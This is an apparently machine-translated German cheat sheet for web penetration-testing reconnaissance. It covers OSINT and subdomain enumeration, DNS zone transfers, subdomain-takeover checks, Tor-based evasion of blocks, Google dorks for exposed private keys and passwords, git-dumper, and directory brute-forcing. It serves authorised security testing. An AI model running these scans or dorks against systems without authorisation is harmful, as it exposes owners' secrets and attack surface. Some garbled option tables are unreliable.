Dies ist eher eine Checkliste für mich. Kann nützliche Tipps und Tricks enthalten.
Alles wurde an Kali Linux V2023.1 (64-Bit) getestet.
Für Hilfe bei einem der Tools schreiben <tool_name> [-h | -hh | --help] oder man <tool_name> .
Manchmal kann -h mit einem Host oder einer anderen Option verwechselt werden. Wenn dies der Fall ist, verwenden Sie stattdessen -hh oder --help oder lesen Sie das Handbuch mit man .
Einige Tools erledigen ähnliche Aufgaben, erhalten jedoch leicht unterschiedliche Ergebnisse. Führen Sie alles aus, was Sie können. Viele Werkzeuge ergänzen sich auch!
Denken Sie daran, wenn weder Protokoll- noch Portnummer in einer URL angegeben ist, dh wenn Sie nur somesite.com angeben, werden einige Tools standardmäßig mit dem HTTP -Protokoll und Port 80 angeben.
Wenn Sie es noch nicht getan haben, lesen Sie die OWASP -Anleitung für Websicherheitstests. Checkliste kann hier heruntergeladen werden.
Das Lesen gemeinsamer Sicherheitsprobleme im finanziell orientierten Web empfehlen sehr.
Websites, die Sie beim Schreiben des Berichts verwenden sollten:
Meine anderen Cheat -Laken:
0. Installieren Sie Tools und Setup
1. Aufklärung
2. Scannen/Aufzählung
3.. Verwundbarkeitsanträge/Ausnutzung
4. Post Exploitation
5. Passwort Cracking
6. Social Engineering
7. Verschiedenes
Die meisten Tools können mit dem Linux -Paketmanager installiert werden:
apt-get update && apt-get -y install sometoolWeitere Informationen finden Sie unter kali.org/tools.
Einige Python -Tools müssen manuell heruntergeladen und installiert werden:
python3 setup.py install
Oder von der PYPI installiert:
pip3 install sometool
python3 -m pip install sometool
Einige Golang -Tools müssen manuell heruntergeladen und erstellt werden:
go build sometool.go
Oder direkt installiert:
go install -v github.com/user/sometool@latest
Weitere Informationen finden Sie unter pkg.go.dev.
Um Golang einzurichten, rennen Sie:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc Wenn Sie eine andere Konsole verwenden, müssen Sie möglicherweise an ~/.bashrc , usw. schreiben.
Einige Tools, die in Form von Binärdateien oder Shell -Skripten enthalten sind, können zur einfachen Verwendung in /usr/bin/ verzeichnis verschoben werden:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolEinige Java -Tools müssen heruntergeladen und mit Java (JRE) manuell ausgeführt werden:
java -jar sometool.jar
Liste der nützlichen APIs, die Sie in Ihre Tools integrieren sollen:
Laden Sie eine Liste der Bot-Safe-User-Agents herunter und erfordert Scrapeops.io-API-Schlüssel:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'Laden Sie eine Liste mit vertrauenswürdigen DNS -Resolvers herunter oder manuell von Trickest/Resolvers:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'Wenn Google oder andere Suchmaschinen oder Service Ihr Tool blockiert, verwenden Sie Proxychains-NG und TOR, um die Einschränkung zu umgehen.
Installation:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher Führen Sie die folgenden Änderungen in /etc/proxychains4.conf durch:
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
Stellen Sie sicher, dass Sie einen anderen Kettentyp als round_robin - z. B. Kommentar strict_chain in # strict_chain kommentieren.
Starten Sie Tor:
service tor start
Führen Sie dann jedes gewünschte Werkzeug aus:
proxychains4 sometool
Wenn Sie /etc/proxychains4.conf TOR verwenden, werden Sie nicht ausreichen. Es ist jedoch schwierig, kostenlose und stabile Stellvertreter zu finden, die nicht bereits auf die schwarze Liste stehen.
Laden Sie eine Liste kostenloser Proxies herunter:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtBeachten Sie, dass einige [ältere] Websites möglicherweise nur über bestimmte Webbrowser wie Internet Explorer oder Edge zugänglich sind.
Beachten Sie, dass auf einigen Websites möglicherweise die Indexseite fehlt und Sie möglicherweise nicht auf die reale Startseite umgeleitet werden. Wenn dies der Fall ist, versuchen Sie, einen vollständigen Pfad zur Startseite manuell zu erraten, Wayback -Maschine oder Gau zu verwenden, um alte URLs zu finden, oder probieren Sie das Verzeichnis mit Feroxbuster oder Dirbuster.
Suchen Sie im Internet nach Standard- / Vordefinierten Pfaden und Dateien für eine bestimmte Webanwendung. Verwenden Sie die gesammelten Informationen in Kombination mit Google Dorks, Chad und HTTPX, um dieselben Pfade und Dateien auf verschiedenen Domänen zu finden. Versuchen Sie, den Quellcode für Standard- / Vordefinierte Pfade und Dateien zu finden und zu durchsuchen.
Sie finden den Quellcode der Anwendung auf Github, GitLab, SearchCode usw.
Suchen Sie den Quellcode der Anwendung nach API -Schlüssel, Anmeldeinformationen, Geheimnissen, Token, Hosts usw. mit TruffleHog und Dateikratzer. Vergessen Sie nicht, alte Github -Commits für alte, aber immer noch aktive API -Schlüssel, Anmeldeinformationen, Geheimnisse, Token usw. zu überprüfen.
Überprüfen Sie die Webkonsole auf mögliche Fehler. Überprüfen Sie den Quellcode der Anwendung auf mögliche Kommentare.
Vergessen Sie nicht, über eine IP -Adresse auf den Webserver zugreifen zu können, da Sie möglicherweise die Standard -Begrüßungsseite des Servers oder einen anderen Inhalt finden.
Informationen sammeln:
dmitry -wines -o dmitry_results.txt somedomain.com
Veraltet. Die NetCraft -Suche funktioniert nicht.
Informationen sammeln:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
Dieses Tool verändert die Suchmaschinen ziemlich oft, als solche können einige von ihnen zum Zeitpunkt dieser Lektüre möglicherweise nicht funktionieren.
Manchmal kann die Ausgabedatei standardmäßig an /usr/lib/python3/dist-packages/theHarvester/ verzeichnis werden.
Hostnamen aus den Ergebnissen extrahieren:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtIPS aus den Ergebnissen extrahieren:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtExtrahieren Sie E -Mails aus den Ergebnissen:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtExtrahieren Sie E -Mails aus den Ergebnissen:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtSuchen Sie Metadaten und versteckte Informationen in Dateien.
Getestet unter Windows 10 Enterprise OS (64-Bit).
Mindestanforderungen:
GUI ist sehr intuitiv.
Installation:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
Setzen Sie Ihre API-Schlüssel in /root/.config/uncover/provider-config.yaml wie folgt:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
Sammeln Sie Informationen mit Shodan, Censys und mehr:
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtZu tun: Mehr Schweiß- und Censys -Dorken.
Sammeln Sie Subdomains mit OSINT:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtSammeln Sie Subdomains mit OSINT:
sublist3r -o sublister_results.txt -d somedomain.com
Installation:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
Sammeln Sie Subdomains mit OSINT:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
Subfinder verfügt über integrierte DNS-Resolver.
Setzen Sie Ihre API -Schlüssel in /root/.config/subfinder/config.yaml wie folgt:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
Sammeln Sie Subdomains mit OSINT:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
Amass hat integrierte DNS-Resolver.
Um ASNs von IPS und CIDRs von ASNs zu finden, verwenden Sie Whois. Die folgenden ASN- und CIDR -Scans dauern lange, bis es fertig ist. Die Ergebnisse sind möglicherweise nicht alles in Ihrem Umfang des Kunden zugelassen!
Sammeln Sie Subdomains von ASN:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
Sammeln Sie Subdomains von CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
Nameserver holen:
dig +noall +answer -t NS somedomain.com
Exchange -Server holen:
dig +noall +answer -t MX somedomain.com
Befragen Sie einen Domänennamenserver:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Rufen Sie die Zonendatei von einem Domänennamenserver ab:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Reverse IP -Lookup:
dig +noall +answer -x 192.168.8.5
[Subdomain -Übernahme] Überprüfen Sie, ob die Domänen/Subdomänen tot sind, suchen Sie nach NXDOMAIN , SERVFAIL oder REFUSED Statuscodes:
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtSiehe Host -Tool für den nächsten Schritt.
Befragte Domain -Namenserver:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
Standardmäßig wird Fierce mit seiner integrierten Wortliste einen Wörterbuchangriff ausführen.
Befragte Domain -Namenserver:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
DNSRECON kann einen Wörterbuchangriff mit einer benutzerdefinierten WordList ausführen. Stellen Sie jedoch sicher, dass Sie einen vollständigen Pfad zur WordList angeben. Andernfalls erkennt DNSRECON es möglicherweise nicht.
Stellen Sie sicher, dass Sie einen vollständigen Pfad zur Ausgabedatei angeben. Andernfalls wird es standardmäßig /usr/share/dnsrecon/ Verzeichnis, dh an das Stammverzeichnis, standardmäßig.
Extrahieren Sie Hostnamen aus den Ergebnissen der Standard-/Zonenübertragung/Brute -Kraft:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtExtrahieren Sie IPS aus den Ergebnissen der Standard-/Zonenübertragung/Brute -Kraft:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[Übernahme von Subdomain] Extrahieren kanonische Namen aus den Ergebnissen der Standard-/Zonenübertragung/Brute -Kraft:
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtReverse IP -Lookup:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
Extrahieren Sie virtuelle Hosts aus den Ergebnissen der Reverse IP -Lookup:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtEinige DNS -Server reagieren nicht auf DNS -Quiers vom Typ "beliebig" und verwenden stattdessen einen Typ "A".
Sammeln Sie IPS für die angegebenen Domänen/Subdomains (fragen Sie nach A Aufzeichnung):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtÜberprüfen Sie, ob Domänen/Subdomänen mit HTTPX lebt. Überprüfen Sie, ob IPs am Leben sind und NMAP den Ping -Sweep durchführen.
Sammeln Sie virtuelle Hosts für das gegebene IPS (fragen Sie nach PTR -Datensätzen):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [Subdomain -Übernahme] Sammeln Sie kanonische Namen für die angegebenen Fehlerdomänen/Subdomänen (fragen Sie nach CNAME -Datensätzen):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtSammeln Sie ASNs von IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtSammeln Sie CIDRs von ASNs:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[Übernahme von Subdomain] Sammeln Sie Organisationsnamen von IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtÜberprüfen Sie, ob eine IP zur GitHub -Organisation gehört, und lesen Sie mehr über die Übernahme von Github in diesem H1 -Artikel.
Installation:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
Holen Sie sich die ProjectDiscovery -API -Schlüssel von Cloud.ProjectDiscovery.io und rennen:
asnmap -auth
Sammeln Sie CIDRs von ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtSammeln Sie CIDRs von Organisations -ID:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtÜberprüfen Sie, ob Domänen/Subdomains am Leben sind. Map Live -Hosts:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443Filtern Sie Domänen/Subdomänen aus den JSON -Ergebnissen heraus:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtÜberprüfen Sie, ob ein Verzeichnis auf einem Webserver vorhanden ist:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitSammeln Sie URLs von der Wayback -Maschine:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtFiltern Sie URLs aus den Ergebnissen heraus:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtInstallation:
go install -v github.com/utkusen/urlhunter@latestSammeln Sie URLs aus URL -Kürzungsdiensten:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
Google Dork -Datenbanken:
Überprüfen Sie hier die Liste von /.well-known/ Dateien.
Google Dorking wird weder Verzeichnisse noch Dateien angezeigt, die in robots.txt nicht zugelassen sind, um zu überprüfen, ob solche Verzeichnisse und Dateien HTTPX verwenden.
Anhang site:www.somedomain.com um Ihren Geltungsbereich auf eine bestimmte Domäne/Subdomain zu beschränken. Fügen Sie site:*.somedomain.com um Ihren Geltungsbereich auf alle Subdomänen zu beschränken. site:*.somedomain.com -www , um www -Subdomain von den Ergebnissen auszuschließen.
Einfache Google Dorks:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
Finden und Laden Sie Dateien mit einem Google Dork gefunden und herunterladen:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
Extrahieren Sie Autoren (und mehr) aus den Dateien:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtFinden Sie Verzeichnislisten mit einem Google Dork:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
Mehr über mein Projekt in Ivan-Sincek/Chad.
Laden Sie die neueste Version von GitHub herunter und überprüfen Sie, wie das Tool installiert wird.
Holen Sie sich eine Telefonnummerinformation:
phoneinfoga scan -n +1111111111
Erhalten Sie eine Telefonnummerinformation, die mit der Benutzeroberfläche interagieren:
phoneinfoga serve
Navigieren Sie mit Ihrem bevorzugten Webbrowser zu http://localhost:5000 .
Versuchen Sie, ein Github -Repository zu rekonstruieren, dh den Quellcode, basierend auf der Verzeichnis der Veröffentlichung von einem öffentlichen /.git :
git-dumper https://somesite.com/.git git_dumper_results
Dieses Tool kann möglicherweise nicht jedes Mal das gesamte Repository rekonstruieren, aber es könnte immer noch einige vertrauliche Informationen aufzeigen.
Einige zusätzliche git -Befehle, die Sie im geklonten /.git -Verzeichnis versuchen können:
git status
git log
git checkout -- .
git restore .
Verwenden Sie Google Dorking und Chad, um mehr Ziele zu finden.
Installation:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installSuchen Sie nach sensiblen Schlüssel in einem einzelnen Repository oder der gesamten Organisation auf GitHub:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
Suchen Sie nach sensiblen Schlüssel in Dateien und Verzeichnissen:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
Mehr über das Projekt bei Trufflecurity/TruffleHog.
Zu tun: beenden.
Mehr über das Projekt in Ivan-Sincek/Datei-Scraper.
Installation:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
Kriechen Sie eine Website:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
Kriechen Sie eine Website, laden Sie JavaScript -Dateien herunter und verschönern Sie [Minified]:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
Falls Sie keine Ergebnisse erzielen, wenn Sie den kopflosen Browser des Dramatikers verwenden, aktualisieren Sie ihn:
pip3 install --upgrade playwright
playwright install chromium
Mehr über mein Projekt bei Ivan-Sincek/Scrapy-Scraper.
Kratzen Sie die JavaScript -Dateien mit TruffleHog und Dateikratzer ab.
Vergessen Sie nicht, dass GNU/Linux OS über ein fälschliches sensitives Dateisystem verfügt. Verwenden Sie daher die richtigen Wordlisten.
Wenn Sie keine Treffer erhalten, während Sie brutale Forcing -Verzeichnisse erhalten, versuchen Sie, die Dateien mit Brute zu erzwingen, indem Sie Dateierweiterungen angeben.
Die folgenden Tools unterstützen ein rekursives Verzeichnis und die Dateisuche. Außerdem dauert es auch lange, bis sie je nach gebrauchter Einstellungen und WordList fertiggestellt werden.

Abbildung 1 - Dirbuster
Alle Wordlists von Dirbuster befinden sich unter /usr/share/dirbuster/wordlists/ verzeichnis.
Brute -Force -Verzeichnisse auf einem Webserver:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
Dieses Tool ist schneller als Dirbuster.
Filtern Sie Verzeichnisse aus den Ergebnissen heraus:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| Option | Beschreibung |
|---|---|
| -U | Die Ziel-URL (erforderlich, es sei denn, [--stdin |-Re-Resume-from] wird verwendet) |
| -Stdin | Lesen Sie URLs aus Stdin |
| -a/-a | Legt den Benutzeragenten (Standard: feroxbuster / xxx) fest / Verwenden Sie einen zufälligen Benutzer-Agent |
| -X | Dateierweiterung (en) suchen nach (z. B. -x php -x pdf, js) |
| -M | Welche HTTP -Anforderungsmethoden (en) sollte gesendet werden (Standard: GET) |
| --Daten | Anfrage des Antrags; Kann Daten aus einer Datei lesen, wenn die Eingabe mit einem @(z. B. @post.bin) beginnt. |
| -H | Geben Sie HTTP -Header an, die in jeder Anfrage verwendet werden sollen (Beispiel: -H Header: Val -H 'Zeug: Dinge') |
| -B | Geben Sie HTTP -Cookies an, die in jeder Anforderung verwendet werden sollen (z. B. -B -Stuff = Dinge) |
| -Q | Die URL -Abfrageparameter der Anfrage (Ex: -Q Token = Stuff -q Secret = Schlüssel) |
| -F | Fügen Sie / der URL jeder Anfrage an / |
| -S | Statuscodes, die enthalten sind (Liste zulassen) (Ausfall: 200.204.301.302.307.308.401.403.405.302.307.308.401.401.302.302.307.307.307.404.405.307.307, 401.403.405.307.307.308, 403.405)) |
| -T | Anzahl der Sekunden vor der Anfrage eines Kunden (Standardeinstellung: 7) |
| -k | Deaktiviert die Validierung des TLS -Zertifikats für den Client |
| -T | Anzahl der gleichzeitigen Threads (Standard: 50) |
| -N | Nicht rekursiv scannen |
| -W | Pfad zur Wortliste |
| --Auto-Rail | Hören Sie automatisch ein, wenn eine übermäßige Menge an Fehlern auftritt |
| -B | Fordern Sie automatisch wahrscheinliche Sicherungsweiterungen für "gefundene" URLs an (Standardeinstellung: ~, .bak, .bak2, .old, .1) |
| -Q | Fortschrittsbalken und Banner ausblenden (gut für TMUX -Fenster mit Benachrichtigungen) |
| -O | Datei geben, um Ergebnisse zu schreiben (verwenden Sie W/ -JSON für JSON -Einträge) |
Laden Sie die neueste Version von GitHub herunter. Sehen Sie, wie Sie das Werkzeug installieren.
Suchen Sie einen Webserver nach sensiblen Dateien:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtHerunterladen:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releaseSuchen Sie einen IIS -Server nach Dateien und Verzeichnissen:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
Identifizieren Sie eine Website:
whatweb -v somesite.com
Testen Sie alle robots.txt -Einträge:
parsero -sb -u somesite.com
Schnappen Sie Screenshots von Websites:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
Um die Screenshots zu überprüfen, navigieren Sie zu eyewitness_results/screens -Verzeichnis.
Sie finden rockyou.txt in /usr/share/wordlists/ Verzeichnis oder in Seclists - eine nützliche Sammlung mehrerer Arten von Wordlisten für Sicherheitsbewertungen.
Installieren Sie Sekunden (die Sammlung wird unter /usr/share/seclists/ Verzeichnis gespeichert):
apt-get update && apt-get install seclistsMein Beitrag zu den Sekrettern: Danielmienessler/Seclists/Tree/Master/Fuzzing/Mengen
Ein weiterer beliebter WordList -Sammlungen:
Beachten Sie, dass Webanwendungen oder Dienste neben 80 (HTTP) und 443 (HTTPS), z. B. in Port 8443 (HTTPS) gehostet werden können.
Beachten Sie, dass ein Webserver auf den Ports 80 (HTTP) und 443 (HTTPS) verschiedene Webanwendungen oder Dienste hosten kann. Verwenden Sie NCAT oder Telnet für das Bannergreifer.
Beachten Sie, dass auf verschiedenen URL -Pfaden ein Webserver verschiedene Webanwendungen oder -dienste hosten kann, z. B. somesite.com/app_one/ und somesite.com/app_two/ .
Überprüfen Sie beim Scannen nach Sicherheitslücken oder beim Ausführen anderer intensiver Scans regelmäßig die Webanwendung oder den Service, wenn sie abgestürzt ist, damit Sie Ihren Kunden so schnell wie möglich aufmerksam machen können. Oder falls Sie Rate von der Web Application Firewall (WAF) oder einem anderen Sicherheitsprodukt begrenzt erhalten haben, damit Sie Ihre Scans pausieren können, da alle Ihre nachfolgenden Anfragen blockiert werden und Ihre Ergebnisse nicht vollständig sind.
Wenn plötzlich eine Webanwendung oder ein Dienst nicht mehr antworten, versuchen Sie, mit Ihren mobilen Daten auf die Webanwendung oder den Service zuzugreifen, dh unter Verwendung einer anderen IP. Es ist möglich, dass Ihre aktuelle IP vorübergehend blockiert wurde.
